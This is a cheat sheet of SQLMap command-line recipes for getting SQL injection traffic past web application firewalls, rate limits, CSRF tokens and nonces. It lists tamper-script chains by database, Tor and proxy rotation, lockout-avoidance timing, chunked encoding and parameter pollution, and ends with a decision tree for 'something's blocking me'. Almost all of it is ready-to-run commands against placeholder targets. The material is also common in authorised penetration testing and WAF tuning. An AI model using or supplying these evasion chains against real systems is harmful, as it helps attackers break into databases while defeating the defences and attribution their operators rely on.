When something between you and the DB is rewriting, blocking, or rejecting SQLMap’s traffic — WAF, CSRF, dynamic nonces, IP throttles — the flags below rework the request.
User-Agent — --random-agent
SQLMap’s default User-Agent is sqlmap/<ver>. Some WAFs 403 it instantly.
sqlmap -u "http://target/?id=1" --random-agent
sqlmap -u "http://target/?id=1" --user-agent="Mozilla/5.0 ..."WAF Detection — --skip-waf
SQLMap probes for WAFs on startup (using identYwaf signatures). The probe itself can trip the WAF.
sqlmap -u "http://target/?id=1" --skip-wafSkipping the probe does not bypass the WAF — it just avoids one easily-fingerprinted request.
Tamper Scripts — --tamper
Python modules that rewrite payloads before they’re sent. Chain multiple; SQLMap runs them in priority order.
--list-tampers # show all installed
--tamper=space2comment # one script
--tamper=space2comment,charencode,randomcase # chainCommon Tamper Scripts
| Script | Transformation |
|---|---|
0eunion | Rewrites UNION |
base64encode | Base64-encodes payload characters |
between | = → BETWEEN ... AND ... |
commalesslimit | MySQL LIMIT M,N → LIMIT N OFFSET M |
equaltolike | = → LIKE |
halfversionedmorekeywords | MySQL versioned comments around keywords |
modsecurityversioned | Wraps query in MySQL versioned comment |
modsecurityzeroversioned | Zero-versioned MySQL comment |
percentage | Prepends % to characters (ASP) |
plus2concat | + → MSSQL CONCAT() |
randomcase | Random keyword capitalization |
space2comment | Spaces → /**/ |
space2dash | Spaces → -- \n |
space2hash | Spaces → #\n (MySQL) |
space2mssqlblank | Spaces → MSSQL alternative blanks |
space2plus | Spaces → + |
space2randomblank | Spaces → random whitespace |
symboliclogical | AND/OR → &&/` |
versionedkeywords | Keywords inside MySQL versioned comments |
versionedmorekeywords | Expanded versioned-comment transforms |
DBMS-Specific Starter Combos
# MySQL + generic WAF
--tamper=space2comment,randomcase,charencode
# MySQL + ModSecurity
--tamper=modsecurityversioned,space2hash,halfversionedmorekeywords
# MSSQL
--tamper=space2mssqlblank,charunicodeencode,randomcase
# ASP / .NET
--tamper=percentage,apostrophenullencode,charunicodeencode
# Base64-tolerant stacks
--tamper=base64encodeCustom tamper scripts go in sqlmap/tamper/ — any Python file exposing tamper(payload, **kwargs) works.
Transport — Proxy & Tor
--proxy="http://127.0.0.1:8080" # Burp
--proxy="socks5://127.0.0.1:1080"
--proxy-file="proxies.txt" # rotate through a list
--tor # local Tor SOCKS
--tor-type=SOCKS5
--check-tor # verify Tor is really being usedRate-Limiting / Timing
--delay=1 # seconds between requests
--timeout=30 # per-request timeout
--retries=5 # on failure
--safe-url="http://target/ping" --safe-freq=3 # ping safe URL every 3 injection requests to avoid lockout
--random-agent # also helps against IP+UA fingerprintingCSRF Tokens — --csrf-token
App requires a fresh token in every request. SQLMap scrapes new tokens from each response.
sqlmap -u "http://target/" \
--data="id=1&csrf_token=<TOKEN>" \
--csrf-token="csrf_token"
# Fetch the token from a separate URL
sqlmap -u "http://target/action" \
--data="id=1&csrf=<TOKEN>" \
--csrf-token="csrf" \
--csrf-url="http://target/form"SQLMap auto-detects common names: csrf, xsrf, token, authenticity_token.
Per-Request Nonces — --randomize
App expects a new unique value each request (not necessarily cryptographic — just not-the-same).
sqlmap -u "http://target/?id=1&rp=29125" --randomize=rpDerived Parameters — --eval
App derives one parameter from another (e.g. h = md5(id)). Recalculate before each request.
sqlmap -u "http://target/?id=1&h=<HASH>" \
--eval="import hashlib; h=hashlib.md5(str(id).encode()).hexdigest()" \
--batchThe variable id is live in the eval scope; assign to h and SQLMap rewrites the param.
Encoding Tricks
--chunked # chunked transfer encoding for POST body
--hpp # HTTP parameter pollution (?id=1&id=2)
--hex # hex-encode retrieved data
--no-cast # skip CAST() wrapping on retrieval--chunked is particularly good against ModSecurity rules that inspect contiguous body content — splitting the payload across chunks often bypasses them.
Decision Tree
Something's blocking me
│
├── 403 before any payload lands
│ └── --random-agent, --skip-waf
│
├── Specific keywords blocked
│ └── --tamper=space2comment,randomcase[,charencode]
│
├── IP rate-limited / locked out
│ ├── --delay, --timeout, --safe-url
│ ├── --proxy-file
│ └── --tor
│
├── Request needs a fresh token
│ └── --csrf-token (+--csrf-url)
│
├── Request needs a unique nonce
│ └── --randomize
│
├── One param derived from another
│ └── --eval
│
└── Body inspection on POST
├── --chunked
└── --hpp
